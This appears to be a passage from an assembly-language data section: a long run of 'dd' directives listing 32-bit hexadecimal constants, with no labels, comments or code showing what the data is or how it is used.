		dd 74D56E8Ah, 0E1FA15BBh, 0FE627194h, 6CB002C5h, 0DBF5BEB4h
		dd 2540C88Bh, 8C6C37D9h, 62ABE44Ch, 78A2810Ah, 8867F2E6h
		dd 0E193286Ch, 0F3354DC7h, 0EECDC560h, 27B076E6h, 0EEEB92B9h
		dd 575B69DCh, 0D35D2E3Ah, 2482FAB2h, 0EBA64444h, 97C75Bh
		dd 0E5F6DDDFh, 8F67B9EAh, 9BB5343Dh, 1AE19E83h,	0CC541CDAh
		dd 364806DDh, 0A4F51D3Fh, 73FE4A0Bh, 0E7DEA03Bh, 77CB7158h
		dd 3A6D0AE0h, 0BBFF1902h, 1508F8E0h, 0D2B706Dh,	0AE23987Bh
		dd 457DE18Eh, 0CF13686Ch, 0F296B186h, 0EB55A1D3h, 701D475Fh
		dd 1ECF3852h, 1EFB2785h, 9DE358C4h, 0C896C5EBh,	2442733Dh
		dd 0DB356756h, 0F9D123E1h, 0EB0DBEABh, 634F6AF6h, 389D08C6h
		dd 0B2AC727Dh, 8CE6C27Eh, 0B25C4112h, 4B76181Bh, 0AE702233h
		dd 6670D3F1h, 0B1098155h, 0D3C1580Ch, 0A47C4D9Ah, 0EEE8FE38h
		dd 636E6992h, 0CE61A7DFh, 9FA4068Ch, 69266CD8h,	537B10EAh
		dd 3F5C4A85h, 59042236h, 38A1A1CEh, 6F508E72h, 0CC5947B6h
		dd 15A54FBCh, 19FBBEF0h, 0A2D537CCh, 7C3B1AFBh,	56AFD68Ch
		dd 8439D65Dh, 0C1889104h, 646970EFh, 0E33A0D31h, 0BCB14C3Eh
		dd 0DEDC2507h, 0F5BDD4DCh, 0EA6D66DDh, 0D184124Bh, 61F3D9BEh
		dd 9C57B826h, 5AE13F6Eh, 0C4C61769h, 0DE39309Eh, 0B310BDF2h
		dd 0A6F04B3Bh, 0C7F7A8C4h, 2B8D81D7h, 94768A5Eh, 96E0AEA6h
		dd 4781191Eh, 8BFE6ED7h, 4168ADFBh, 0F7EB399Dh,	0DFB1B2Bh
		dd 4991FB6Dh, 815A7751h, 0AE75879Fh, 7A88BC60h,	681745Dh
		dd 8C9CA526h, 43888A6h,	0A51B0851h, 18ABBEF6h, 2134FCC9h
		dd 4CA8C74Dh, 5043D790h, 4FC3F5Ah, 0E64CDAFEh, 3F6EF8E1h
		dd 7799390Dh, 835750A0h, 0D7CBCB25h, 3992D1B0h,	0AC198767h
		dd 2474E56Dh, 3976B8Ch,	8FF9F226h, 1FA0C5D7h, 0C5903115h
		dd 1D0C0529h, 0BB9CD270h, 86F50414h, 72DEE842h,	3AE9B73Eh
		dd 18E9B8D1h, 54481886h, 0F15072D0h, 0F042545Ah, 14CC9DD2h
		dd 3FC46E0Fh, 8AEAD72Ah, 0EBDF129h, 9054DC57h, 9CFB8136h
		dd 88ECB13Ch, 1DA9DA56h, 0C7C58D92h, 643A7C03h,	980C9B9Ah
		dd 529ED9ABh, 5F49DD6Ch, 761089FDh, 9DF59C35h, 8630ED3Ch
		dd 237874C3h, 544D67C3h, 5EFCA26Ch, 846922C9h, 0D6307C70h
		dd 8C6179DBh, 5B68ED2Ah, 0D86AE3D0h, 324DE91Ah,	4D502325h
		dd 0CCC6E3DCh, 4DA2A72Ch, 0F5AAE5A1h, 4EA124Bh,	0CD45E7F8h
		dd 0CF172DFCh, 9EC790E3h, 0A0DAA75Eh, 38AECDA0h, 0BE4CB9D7h
		dd 0E6FEFF29h, 5EFB9D02h, 3DC2FB43h, 9E0E10A4h,	0ECD33994h
		dd 57F6F085h, 0C0E37643h, 0CD39890Eh, 0ACA5FB51h, 0EE7DD475h
		dd 0F63179C0h, 794E2AB9h, 2844EC90h, 1A1AEC6Dh,	4875DBC9h
		dd 6F6C2F06h, 1502FC12h, 80D4DBA9h, 0ADCF0B66h,	0E893CEFDh
		dd 2AA0D292h, 3ACB790Bh, 735F2222h, 0DA3038Ah, 9BB16CA9h
		dd 8C030037h, 4E20CD0Ah, 3CE87BD8h, 0A8692571h,	2648F59Ch
		dd 2DDE6854h, 5CE3999Ah, 0C50AFBEDh, 42C33FD5h,	6A6C631Ch
		dd 0D21C1CADh, 8DD9551h, 1AF07AF2h, 2EEB3738h, 0AE4E595Eh
		dd 0FCB1E0A8h, 683B60C5h, 5FC31DE5h, 0AD06B0E8h, 0DABDD827h
		dd 0DE5D36B6h, 0E1B209C6h, 2ADE3CFh, 2244A610h,	1D0FACA1h
		dd 0C2D45F2Bh, 664DC964h, 12FF88ECh, 0A492428Fh, 11B282CEh
		dd 2423A5ABh, 0F81CFB38h, 0D91418B7h, 0DF51291h, 4A3A5245h
		dd 1E9BE516h, 66629FFh,	1498096Eh, 6231FAABh, 353DEF07h
		dd 0C5567EB9h, 0F8E352A2h, 0FECE122Ch, 0AC42CD64h, 80627FDh
		dd 61FAC82Ch, 0FD90EE8Bh, 0E6542162h, 0E74A62C6h, 6A0C7F7Fh
		dd 8D57216Eh, 93D0F034h, 92460504h, 37E11318h, 8249D834h
		dd 0B2E030Fh, 72366D6Fh
		dd 0A3C74621h, 30AAAB58h, 0AF154F64h, 1847B850h, 45D658Bh
		dd 0ECC94A14h, 0ADA9E2DBh, 66BDD5A6h, 837E1ED1h, 3DCB2C01h
		dd 0E3019CF6h, 81A3DFEDh, 0FC8DEDA0h, 0AF99206Fh, 498116C8h
		dd 99908DF8h, 6DEBD77h,	3E8F74A7h, 8AED048Ch, 0E289A6A8h
		dd 5A8CA6D6h, 97B0D6EDh, 0D676FCC3h, 2318AE4h, 0A946DB1Dh
		dd 0FCCF1E16h, 0BDED426h, 0A02FC5A7h, 527C7AD2h, 0DE3BDFF6h
		dd 0D42BBD4Fh, 736DF83Dh, 379587ECh, 0EDD8A973h, 866C26ABh
		dd 0F3DC6F55h, 706E3D03h, 515585F8h, 137929A7h,	0B2EAE124h
		dd 183FE94Fh, 0C6CDFFD3h, 0CCD6CF3h, 50C33A17h,	478B951Eh
		dd 20BFFA30h, 6E0A9F1h,	4BDFBEC4h, 2225EF0Fh, 0F79CD15Eh
		dd 351BBFF9h, 24C52F87h, 0CB6983C3h, 4D1ACA84h,	2FDC9FAAh
		dd 8C4F5E4Eh, 0A21688E8h, 73570C77h, 45B2EF42h,	0E5DF0146h
		dd 0C24432DBh, 5B7A0FD1h, 1A413958h, 237FD610h,	63827B94h
		dd 4A7CD8F0h, 6DA89059h, 2F57BDA5h, 2E6D4ACDh, 1A867CDEh
		dd 0E542A4F6h, 9C9709D6h, 0FE50B8B7h, 4AC76352h, 56C7A934h
		dd 443D84C3h, 0BCF48915h, 0A241FA20h, 0E21FB009h, 9B8FD5E9h
		dd 149DEAEAh, 945106C7h, 4CD6B78Eh, 0ED071832h,	728EE152h
		dd 2E9DB303h, 0A37C9E34h, 22BB3D8Fh, 6FA9E695h,	14F731ABh
		dd 7769BE8Eh, 0EEAC4C97h, 5A74A5F8h, 3DD03853h,	9E8896BCh
		dd 0A7727388h, 0BAA1D22Fh, 7CEC17C4h, 0ED9DE104h, 103D6164h
		dd 5B95A63Eh, 0EEDBD18h, 7DE7BC8h, 75318C65h, 270CCB9Dh
		dd 0EE12FA34h, 0D9255718h, 0A245F013h, 0A7AE2790h, 1062982Fh
		dd 0F0E7145Ch, 4FBB65F7h, 18EB06E4h, 978E70F2h,	0B74BAF76h
		dd 655BA1F7h, 0BF353A17h, 0ED0D5A24h, 2B5FE3EEh, 7EFF4270h
		dd 3DFF027Bh, 0FC498DF8h, 409BED14h, 0FABD8835h, 0DF3862CCh
		dd 2B5456D4h, 62D33576h, 3B36F35Fh, 0F08EC3D9h,	954704DCh
		dd 1A9CCE56h, 28B65DADh, 0A0EF0C4Dh, 0FFEE44E1h, 0EC1F921Dh
		dd 486C7242h, 0D6B98E08h, 1E2EEBAEh, 8847AABFh,	3E03C474h
		dd 0F8AEFC19h, 47684621h, 0D1F2C9AFh, 23529D55h, 0D8891DA2h
		dd 348693ABh, 0E91113B9h, 58E57A21h, 3F8BB1C9h,	7F0EF745h
		dd 3DB285E6h, 5984A9D7h, 445C8F23h, 0A95F0E72h,	72A34853h
		dd 6DA01B9Dh, 1DE126D1h, 0B49D0CF1h, 831CD886h,	0F3D59FCCh
		dd 0DC791749h, 56A5BB57h, 0A5C1F164h, 0EF338F53h, 2DB3DEE5h
		dd 77FE9B9Bh, 0A8571135h, 9DBEA0AEh, 1A3FBA0Ch,	0A37FF3E6h
		dd 65D2D7FCh, 4DF83149h, 90DF2889h, 530E6CADh, 316E9268h
		dd 0FB7F88DFh, 5F335B8Ch, 6A13D17Ah, 0E31008D8h, 4E60956Ch
		dd 0B1154E9Fh, 0B8C2F11h, 9FE93040h, 0A0CA78BDh, 0EF8118A8h
		dd 0D35752F4h, 0E928C814h, 2809D817h, 5DA22F3Eh, 0D6428556h
		dd 87273E2Ah, 4D1EC728h, 0E1CEA33Eh, 0D2135E2h,	7D0968DAh
		dd 6DAF6B8Dh, 836B77Bh,	63478F00h, 7CE94DE9h, 0A6DEF436h
		dd 0CF0BF380h, 0EDED0395h, 1989BD28h, 4DE69090h, 4F1F73FCh
		dd 0A602C8E5h, 0E9D05AE8h, 4C0E794Bh, 0BA9C5336h, 85A862A6h
		dd 73C93311h, 0EF11F6B6h, 3A20CC97h, 4179B35Ch,	2BFE2BD1h
		dd 5840FC09h, 5418388Ah, 0B33573D3h, 0D05CD3F4h, 51468ABDh
		dd 9AD64C3h, 306E2AB9h,	9DBCA447h, 0C9665E8Ah, 0C788B576h
		dd 0DE1F3E6Eh, 8B83EE98h, 74DA74CBh, 2B2F8BD3h,	83FD87Dh
		dd 92A00B9Ch, 0B53740DAh, 0D48FB25h, 582BFC05h,	0AE9D32E5h
		dd 0D7726161h, 586FA4Eh, 0AAB0AE72h, 0BC1DAEA8h, 10608156h
		dd 4C43C110h, 2E6EF7E2h, 0D9D952FDh, 7BE6BDD9h,	11BB11F7h
		dd 0F6671BEDh, 0EF3200CBh, 7BCC9106h, 0A5AA5C08h, 86DBCBEAh
		dd 8086CBCh, 0A803D993h, 825A7C61h, 66273D91h, 5C8333CCh
		dd 58E2EBE1h, 591E3EF1h, 426204EFh, 4FDD12F9h, 0C2D5B1D4h
		dd 0A283B8A3h, 0D92032EFh, 0B13DB932h, 791B3967h, 0E6BA5A98h
		dd 2C25BABBh, 57BC7129h, 7DB915FAh, 0FB6F8E1Bh,	2F8F2957h
		dd 0ED213894h, 2B16A83Eh, 0A9FC08EAh, 0B278D09Dh, 7C159ED5h
		dd 56F2DB44h, 0E364E404h, 50E38E71h, 0D175CEF2h, 79B9A747h
		dd 25CE5D8Fh, 74B7FA47h, 0FF2D014Ah, 264C93E9h,	0A30AE37Ch
		dd 59B831D5h, 9A291F1Ch, 0CA2E23F4h, 17BEFA24h,	1AEE476Ah
		dd 0FF8BFC59h, 56EF1266h, 9DF82794h, 8132696Eh,	9A9E12ACh
		dd 55A2CF8Eh, 30C0BECCh, 7C5A6BE5h, 24907A99h, 0AA4E00F4h
		dd 0AE269A2Ah, 0EE197AC9h, 800F0E3Ch, 0D2ECD78Fh, 0A79706F7h
		dd 240CC5DBh, 317C4C53h, 22B67B03h, 0AE65B3B2h,	6D48D0F0h
		dd 0C2B8683Eh, 0A1AB5DAFh, 0A93D03B2h, 61310A7h, 4C31330Eh
		dd 758A889h, 0E36D0EC2h, 0AB39D3B7h, 9CB414E7h,	0FC933553h
		dd 0F2DE53D5h, 0B26D99F2h, 0BB170538h, 42B81A7Dh, 1DE98EB6h
		dd 45FEB687h, 0EA8595F1h, 119A0649h, 99B357F9h,	24C9648Fh
		dd 5EB09AB0h, 1D1CD6E4h, 5E2E1BA5h, 36393A12h, 0F8D5A49Eh
		dd 0A9BE7D0Bh, 0DBE8CE67h, 46E25AD8h, 10129AAEh, 0EE31FF01h
		dd 482A9BE7h, 86BD554Fh, 0D7D91512h, 3E3289F9h,	1C856D9Fh
		dd 961E7CD8h, 87237D1Fh, 0F5B52663h, 64BD7A7Ah,	0DDC72303h
		dd 869D31Fh, 1C6A685Ch,	3E6396B8h, 8F0FB0Ah, 457724B7h
		dd 4078FE47h, 0F639F7FBh, 0F9E6A1A5h, 67AC1825h, 0DF62B593h
		dd 0EED29D5Eh, 29D07CCEh, 22E6E4CAh, 27FE5739h,	94B341h
		dd 51940924h, 0A7EE9DAEh, 0D8946839h, 2573A58h,	6C2E73B9h
		dd 9CA21EACh, 0FD056E5h, 0B768714Dh, 2D938E38h,	5A82B899h
		dd 52B03B01h, 3BE596AEh, 0DFD815E3h, 4E3B33A1h,	5E4117DFh
		dd 6C539707h, 0C6407667h, 0CCCB0896h, 0E5DA66FCh, 2B652F53h
		dd 0DEB12BF6h, 8A374134h, 0B67D092Ah, 55738017h, 5D63EF0h
		dd 3C9041AAh, 6569FD1Fh, 594B57C9h, 15A7711Fh, 348DA892h
		dd 0ED75472Dh, 0A64D5101h, 255574CAh, 83CFACACh, 0C21F63AFh
		dd 1CD888BDh, 15061D4Ch, 6C8EC396h, 31FA43F7h, 1E339515h
		dd 5F20FB4Fh, 0F4AF6D9Bh, 0C6912A09h, 5780ABE5h, 0CAEB032Ah
		dd 635ADEA3h, 0AB8337F0h, 3B388BDCh, 0B9A92202h, 757ADA1Fh
		dd 0B791F1DFh, 0D45D5E82h, 1F1BEB1Ch, 0DEB2A725h, 0AE0ACB29h
		dd 0EF6B5005h, 0CA770493h, 6E9859D7h, 0EEEA0C4Eh, 0B57C52BAh
		dd 5E3EAB4Dh, 6B6F7F61h, 0AA3BBAF8h, 1557633Ah,	584CCC09h
		dd 279CEAFFh, 0B43CD78Bh, 89D8EFC8h, 0D2F5F81Ah, 94020681h
		dd 0EDE692C9h, 7F6EEE49h, 1D29A5FAh, 1ABDCFAAh,	0DE0A9A9Fh
		dd 4E0C32FEh, 0FAEC0953h, 1D43A16Bh, 907127DBh,	0C889D510h
		dd 0BE889E88h, 9B9D8D19h, 7BA40A62h, 5EBBE7C8h,	0F9405D4Eh
		dd 25F4EB37h, 0B16D267h, 480CAA3Ch, 95E1101Dh, 0E38EA8DDh
		dd 0CE0D613Eh, 9DFDBCA6h, 0BE236FA2h, 8470264Eh, 551B76ABh
		dd 0B2E70F31h, 0FF7967EEh, 240D923Bh, 0AAFCD426h, 3FCF7CBAh
		dd 8AB8F7F1h, 0A87CE9F1h, 5309D2D2h, 0DBD60422h, 0E302FC3h
		dd 0F49BFB0h, 0AF998669h, 13A4EA4Bh, 242D2206h,	0CAE708DCh
		dd 0FD4DF61Ah, 41860CB6h, 2B68B6A1h, 0C0770259h, 0B04C7506h
		dd 4F15DA4Fh, 519B3320h, 0E1EEEBD7h, 213BAD5h, 509DF76Ah
		dd 927A1A3Ah, 0EC605F70h, 0FD59A780h, 2565FFACh, 249C7E86h
		dd 0EE7E668Eh, 5809092Ch, 7BCCF772h, 0A5E82D3Ch, 0ABEC37AAh
		dd 0D4B2BA7Ch, 0E8600254h, 109867D3h, 0EBB52CFDh, 66D96F51h
		dd 1A99F57h, 87FC71F5h,	27E819Ah, 0B0F8A4ACh, 50614C8Eh
		dd 4A236208h, 0F8B5D55Eh, 7EFC4540h, 2A0AE604h,	0EEE9899Fh
		dd 8FEE2C17h, 0E0ECDD5Ch
		dd 0D941D5C2h, 23EC2D5Bh, 5EBD5A40h, 0B5995793h, 6C77D9E6h
		dd 3B7335A6h, 9D9B22B0h, 9A0715ECh, 0A6BCA0Fh, 48FE52C6h
		dd 66B7D28h, 50825A57h,	0FC3A1E6h, 0EA9B14E4h, 3125E873h
		dd 0BD437304h, 2F65BE2Dh, 9FF707D7h, 672B2135h,	19671145h
		dd 0D82C187Dh, 0FFD9571Eh, 33948C88h, 0E77F5F0Bh, 91EE878h
		dd 0A13684F6h, 0D011DFD1h, 7305BE44h, 36B1ABAAh, 0B432922Ah
		dd 3B05507Eh, 5DDD7C57h, 560C129Eh, 0FB7F8A4Bh,	42E2299Bh
		dd 43208CB8h, 366DE476h, 28EB6488h, 0EA4B6BB6h,	5FDE8C3Bh
		dd 0BDE622C3h, 0DFA8F264h, 10A75365h, 32AD1024h, 1F1E8915h
		dd 326292D1h, 9B11135Bh, 5730B26Bh, 0D5133276h,	0F39AB568h
		dd 0C92D7D2Ch, 0B2CB7122h, 15A3F487h, 0A0D9600Bh, 640E2455h
		dd 7CFD687Dh, 0A7E53BE2h, 3371DC10h, 0C026CC86h, 2587C302h
		dd 6FE40C9Dh, 1D99CE36h, 5F2AFE8Fh, 0A4A15BBh, 2E4CEAB4h
		dd 0DB2DA8CEh, 0C0AAC385h, 0DA727760h, 0BA899E81h, 48AA638Ah
		dd 408E6526h, 9B00C7D0h, 704BBD60h, 164608F6h, 7B5179F8h
		dd 0CA94DDF8h, 81F298B9h, 8454ED02h, 0C8515387h, 0CFE6B46Dh
		dd 43C32F39h, 0BFE57007h, 7E632853h, 8F27E33Fh,	0CBCC2FEBh
		dd 3EE129D5h, 4D462ADh,	4EF0AC3Fh, 9D9A0BD0h, 22049E5Ch
		dd 6A988A94h, 1EECED1Ah, 0A7C48035h, 5BF9643Eh,	0A709E832h
		dd 0BFF8DC38h, 34ECF3E8h, 0D4BEE6CEh, 0FFC3B243h, 0FE7DCC7Ah
		dd 3F5E60D6h, 13E02CCFh, 33254ACFh, 0FBAD8C4h, 7A5BDB5h
		dd 0E5ED5FE0h, 1A72B54Ch, 0FE692942h, 0EA2D5A34h, 7D01393Ch
		dd 0A6B82778h, 0A24EB035h, 7A5B1B28h, 23B10254h, 715F3254h
		dd 13A22C3Bh, 442D5FA0h, 32E38B06h, 5549B6E3h, 229F1EFh
		dd 47C93C13h, 46215F97h, 0CDD1C248h, 11BC0587h,	3709AECFh
		dd 9D6C35B0h, 57FA65Bh,	0D79D14E8h, 4F5FF028h, 7A41119Ch
		dd 30D10993h, 3AFCD308h, 5AC6316Ch, 0BCEC11Fh, 0EE2EA789h
		dd 3AF7A7FEh, 0F8EF7077h, 594DAF46h, 8C94D61Ch,	8FA6E789h
		dd 4282C5D0h, 0D1A11304h, 397DB208h, 9B6526E4h,	0F77E03CFh
		dd 9632963Bh, 648FC4FEh, 0DFCF559h, 0AC211182h,	0A88EDAEAh
		dd 2B82F4Bh, 0A31EED6Ch, 0B6F34D0Ah, 0E32AA08h,	0D5EF320Ch
		dd 14370589h, 1E591FCh,	6D362E27h, 0CF8AEC90h, 80BA6C83h
		dd 0D573716Eh, 958BF272h, 0ABBF8BC8h, 0C6744955h, 0DF795169h
		dd 8FFA12EEh, 46667D87h, 24C05E7Dh, 23A4A043h, 0E5572150h
		dd 0BF7E0D8Ah, 0E17403BEh, 0E28A0848h, 26F5CDC1h, 9B7B553h
		dd 0F819F7Fh, 6B04AED4h, 0D18F8DCAh, 0EC7426E8h, 585CAA92h
		dd 0FB0F6025h, 0A7DB5FD2h, 0C6DA7E51h, 71F5309h, 580909CEh
		dd 0E612E2F0h, 93987977h, 6D34B8C9h, 529B42CBh,	20A8B01Dh
		dd 30E31173h, 0A690FF0Bh, 0DCEC48C0h, 0CF20F994h, 84908A8Fh
		dd 366570Eh, 6A6097A9h,	88AD497Ah, 0CE54753Ah, 0EF36EB16h
		dd 0C1F3AAFh, 491E6BB5h, 0DAA97A1Bh, 0FD36627Ch, 9F4A3572h
		dd 48A69837h, 986A7C0Eh, 0BE2AA09h, 0C5D0C97h, 15B50F9Dh
		dd 59E8F6F0h, 0A21737E6h, 0B637F3FAh, 854807B2h, 4B1898C2h
		dd 7F8D7E59h, 5E48F54Ah, 260B76Dh, 0BEEA7A86h, 9F277F7Ah
		dd 60B4A755h, 0B8092159h, 40C9CA0h, 22896C9Ch, 3E340C92h
		dd 54FDB9Dh, 13522DFEh,	7EC64F6Ah, 56B94597h, 0B889329Ah
		dd 492AE35Bh, 0F2DF9842h, 0F4B15F17h, 0AB8C3526h, 0C08DA98Ch
		dd 865DB548h, 1306F51Ch, 0FD18A3DCh, 0D6B6CB42h, 0C05A2F20h
		dd 0B22DC6FBh, 0BFCD9BD7h, 95846CCAh, 0E1BC80FCh, 0CF0C5BC0h
		dd 8A95C24Ah, 5BD25D52h, 53785524h, 317F93h, 44DFEDB6h
		dd 0AAF2931Bh, 498C938Eh, 78654967h, 4FF99956h,	575128A5h
		dd 0AA69F8B2h, 0ADC4854Ah, 0AAE4074Eh, 0C49BC498h, 0B96597DAh
		dd 0AF7B504Ah, 0A9DBF043h, 0C7BB663Eh, 9D89254Dh, 7712FF7Ah
		dd 0E22CF322h, 1CE9D2BAh, 0C947A8DEh, 8B0664F6h, 6118BEAFh
		dd 0AC3C1333h, 0D707243Dh, 0C62CF05Dh, 9F30BEDDh, 58A1D6AEh
		dd 0FB22D43h, 4A51EEFFh, 0E0E83C1Fh, 0E7E85CDFh, 553F37CBh
		dd 0E6A536C8h, 0A908EAFDh, 0B1BDA340h, 0E6F9C8A8h, 8E55991Fh
		dd 4A895328h, 0FCA757DFh, 2CE252F9h, 0FCFC393Eh, 0FBEB2B4Dh
		dd 0DD0AC4D6h, 4A6BF0F8h, 91EE2F0Ch, 0FF6BB884h, 7C304D9Ch
		dd 37D2CC3Ah, 51C9155Fh, 0B086BA2Fh, 0CAE6A65Bh, 328978CFh
		dd 694589D8h, 0D8A7AC9Ch, 766FE111h, 0F6DD1C81h, 0C2E9180Fh
		dd 0A9DE1DC7h, 0E25EDEB7h, 936A5D1Dh, 0CE13EA5Ch, 6BBF8369h
		dd 0AEAE35ABh, 0FEE360ABh, 87023752h, 1E0810Ah,	0BB6BCC8Ch
		dd 0EFC4D495h, 2531F7Bh, 53D511C0h, 0CBB25FEBh,	0BAFDCBE8h
		dd 16D28DC1h, 88EDB70Ah, 1B628BECh, 375E5C4Ch, 78CE806Eh
		dd 8E149446h, 3852B5CBh, 345BE440h, 5565C5ACh, 0CE72FD1Eh
		dd 4C5CF641h, 16E55C9Fh, 7AEF18EFh, 0A664AFCBh,	413D88FAh
		dd 0BCADDF8Dh, 0EBC2057Dh, 687C8217h, 0DE928600h, 48A1B2D1h
		dd 0A212059Fh, 63B81A7Bh, 23ED80D6h, 4CBF3C3Fh,	7C5207B4h
		dd 7122048Dh, 0E75CDC0h, 12A09D4Ah, 5915CB2Fh, 56E1002Ah
		dd 29600B56h, 3B5134E7h, 3938ADF1h, 29364F3h, 0E3163540h
		dd 0A148507Eh, 1E60C615h, 9554597Eh, 0D6E9132Dh, 9DA4512Ah
		dd 80BB29AAh, 0FDF3FE62h, 8DDE753Ah, 5102DDF9h,	0D73ED511h
		dd 781F8C30h, 642B83B1h, 37EA3AD4h, 27D1680Eh, 8A4FA491h
		dd 0A60C005Fh, 6B6D271Ch, 0B2C8CFC2h, 7EB9BD46h, 0EE66AF54h
		dd 0BCD40766h, 0E4103BE5h, 7C23FAC2h, 0BFE9CC61h, 4D098F7Bh
		dd 0B52643F5h, 5DF72C7h, 4BBF73F5h, 0ED4AECBBh,	8A7ADBC3h
		dd 78B6D27h, 26F012C5h,	330B822h, 353701AFh, 0B6BB758h
		dd 0A921A017h, 0E9738BBCh, 0A3B33EA1h, 0FFD14B6Bh, 484F0D09h
		dd 0F92973C2h, 64982E99h, 1093C081h, 46F2CB46h,	0CCFA1F5Eh
		dd 0A80E54BBh, 363E6A84h, 265FB57Eh, 3564C3F3h,	0A55FD3BAh
		dd 3C516C06h, 629961Dh,	560ABB1h, 9BF851E9h, 4A58F711h
		dd 29E8FAB3h, 57E987EAh, 0CD11AE14h, 4F332F49h,	0FE861FC4h
		dd 0E15CB14Eh, 0D99D9D2h, 0B09FDF7h, 0D9BDE1AAh, 0B113D05Ch
		dd 0D7C208BEh, 9632EAF5h, 3234EA08h, 6B0FE0B2h,	1ECE4EDAh
		dd 5A542974h, 0A4C9DDE7h, 0DE8E0210h, 0F3D51808h, 52978EB3h
		dd 49DAB0E7h, 7263B6B6h, 71120C8h, 98BE8EC9h, 82F7E3CEh
		dd 397F3A30h, 2CA7EF53h, 1C59B0B0h, 4FE6C7B0h, 0F1C1BDE1h
		dd 0BAB17675h, 290EA207h, 0AD7DBFF3h, 0E26E28C2h, 0F1FAF52Eh
		dd 0E461CDEh, 883D463Ch, 13425834h, 0E21AA3E4h,	0F05263A8h
		dd 0B4E6B23Ch, 14511236h, 996ECF40h, 0B16D2372h, 0F58B4A7Ch
		dd 4E1FFED8h, 34285DD0h, 26AD10A1h, 5095C623h, 97F79596h
		dd 0AC41A320h, 0EE444E9Dh, 0D16C93F8h, 12205F5Eh, 0E9B8519Fh
		dd 0F9C20639h, 8DF2A044h, 81F2AF12h, 1BD3C453h,	16A016F5h
		dd 1DE8FBBAh, 359A89A9h, 0CA131703h, 0F780DC07h, 0FE58CEE2h
		dd 0E98CB18Dh, 4DD1AD5Bh, 0F8F0EB1Eh, 500B21AEh, 0A2124D20h
		dd 195DE33Fh, 78FA259Fh, 0BCC31B38h, 1D247405h,	0E5C840CCh
		dd 0B6BFFDBBh, 36BB96CBh, 6F2AFCD0h, 92C64997h,	2BE579FBh
		dd 9CA96DAAh, 0C27334B0h, 3330AD41h, 0CD57F1B9h, 75BE2D86h
		dd 0C8C7EF84h, 0D57860C7h, 0D198A23Fh, 54447CEEh, 9FEE323h
		dd 4EF73E16h, 0A9535321h, 0F888F50Bh, 51361E2Dh, 7E0E999h
		dd 155FA76Fh, 17E7AB55h, 0B6C3EF92h, 35DD1148h,	896B7848h
		dd 8ECFBE39h, 812DC72Fh
		dd 1CA14906h, 654CCC43h, 0A890B11Ch, 1646C58Fh,	0A904876Bh
		dd 0AEB68DEBh, 77A9EC7Fh, 924C8E5Bh, 0B8107C3Ch, 942A95E5h
		dd 41C1346Ah, 3137194Fh, 26124216h, 290E3DF7h, 0EE8FB81h
		dd 8C086C01h, 14984CBAh, 0A2E94276h, 0AC68F84Fh, 0CC145AA1h
		dd 5F996A5h, 0D6FF19Ch,	0FE967168h, 0B4CA9F4Ah,	75637A4Eh
		dd 0CD80775Ah, 739723D3h, 9BD0608Dh, 0A832A242h, 0A5E2F124h
		dd 3C723993h, 0D444917Ah, 0F1A0F962h, 2C5951AAh, 2063EAEAh
		dd 30BC8D78h, 0A7B08C65h, 821E4514h, 385EDE73h,	62D994CFh
		dd 7D84DCD5h, 0C3E13747h, 6D3D6908h, 0FDA6BEADh, 0C5E1010Ah
		dd 777383A0h, 7DC807E7h, 67D079BBh, 0D53F3866h,	0D9FE61CCh
		dd 0A401B488h, 0C46264D3h, 4C90360Ah, 0A0F6CB32h, 6276794Bh
		dd 990E6FFEh, 704B1790h, 61208BCCh, 5B754BFFh, 82668B3Fh
		dd 732C0B05h, 3888BB8h,	0AD402243h, 6A81C922h, 2B3D71CAh
		dd 5A2A396Ah, 9AFFE2FDh, 0D3445FD7h, 7D2F9C64h,	8D1638AAh
		dd 0D996EE2Eh, 9053D99Dh, 0B2E1E538h, 0F7F38D85h, 8BB45B96h
		dd 9F619D1Ch, 0DF708548h, 270EBABDh, 0CF6A811Bh, 7340A16Ch
		dd 793CFD12h, 53D337ECh, 0D77FB3FCh, 0A91396F5h, 88DC8FEh
		dd 847B9484h, 0A498A022h, 509AA451h, 0E0B1A424h, 0A19665D5h
		dd 67702038h, 0BC0B2775h, 4176925Ah, 51E7F8CFh,	74320931h
		dd 2253F79h, 542FFD40h,	125F478Eh, 0D09069B0h, 65DC1C6Eh
		dd 0C946EC1Ah, 23F9BBF9h, 5BBB2CDEh, 3F2030B4h,	12BB66F5h
		dd 0B9D4521Bh, 36791E2Ah, 0A3916DCFh, 0A187BC1Bh, 9D7B60AEh
		dd 375FB115h, 0C80D78B0h, 337DD731h, 4F4AE8A2h,	0F61E2C58h
		dd 108A3B38h, 6217D1E4h, 584F302Bh, 23911A98h, 676E2CB6h
		dd 18A22F37h, 0BBF01FFDh, 0AA981D57h, 0CD59EEF9h, 0A21D8530h
		dd 0C25ED50Bh, 0BE710875h, 608B739Dh, 75F77980h, 0F323D670h
		dd 7B98294h, 27BB4F51h,	19001342h, 945430DBh, 7239EF53h
		dd 0AD69B2F7h, 0F162D521h, 2DBAF68Ah, 171360B6h, 0FEF2313Ch
		dd 53854B2Bh, 0B93CCC5Fh, 5B39E04Ah, 2D587502h,	6EB860CCh
		dd 692CF0AFh, 0D4110141h, 8845EA6h, 0F9C15B2Bh,	3CCDBAC8h
		dd 649B0175h, 103B3E73h, 0C8E84369h, 49625763h,	995770B7h
		dd 0A0B69BE7h, 600EA68Ch, 40946F48h, 69986F2Ah,	1F25E4DCh
		dd 0E6FDB064h, 0D0612A95h, 3175C97Ch, 0E828AF2Ch, 10E47625h
		dd 0D35A73C2h, 0BBA04680h, 0A6D8E586h, 10728BD9h, 9BD146D1h
		dd 0AB84168Bh, 476B123Bh, 0CFA44F80h, 5FC758D2h, 724D1A5Fh
		dd 0F02AD60Eh, 1769F5A9h, 0DEE4D370h, 2E05B7B4h, 357693B8h
		dd 69BF910Ah, 7086B51h,	0BF85C387h, 6C8EDAFCh, 8BC5A86Eh
		dd 0C4DED6C9h, 54432B88h, 0F203D963h, 0DA75A5F6h, 0DCF6C9D7h
		dd 44328F89h, 4137A102h, 50C30D0Eh, 0DBF2985h, 0B7176A8Ch
		dd 0F04969A4h, 0DE14115Bh, 0AA249277h, 4258888Bh, 0F03E90EDh
		dd 2A73A616h, 880E18E3h, 0D04A430h, 8EE2F24Eh, 77131AE4h
		dd 0E00E5086h, 5027C521h, 1854FEE3h, 0E58BFFDDh, 0A7D6B02Ch
		dd 9B742838h, 0D5B0CEBDh, 0B707F4E3h, 8AC87F63h, 66E4FD65h
		dd 0DBD23E0Ch, 0C3A5563Bh, 0B4DF0BA9h, 60876F4Eh, 0FC4D8724h
		dd 2CAF6175h, 0DA51B3BDh, 66A8D713h, 0B03AE48Dh, 0A0CFE058h
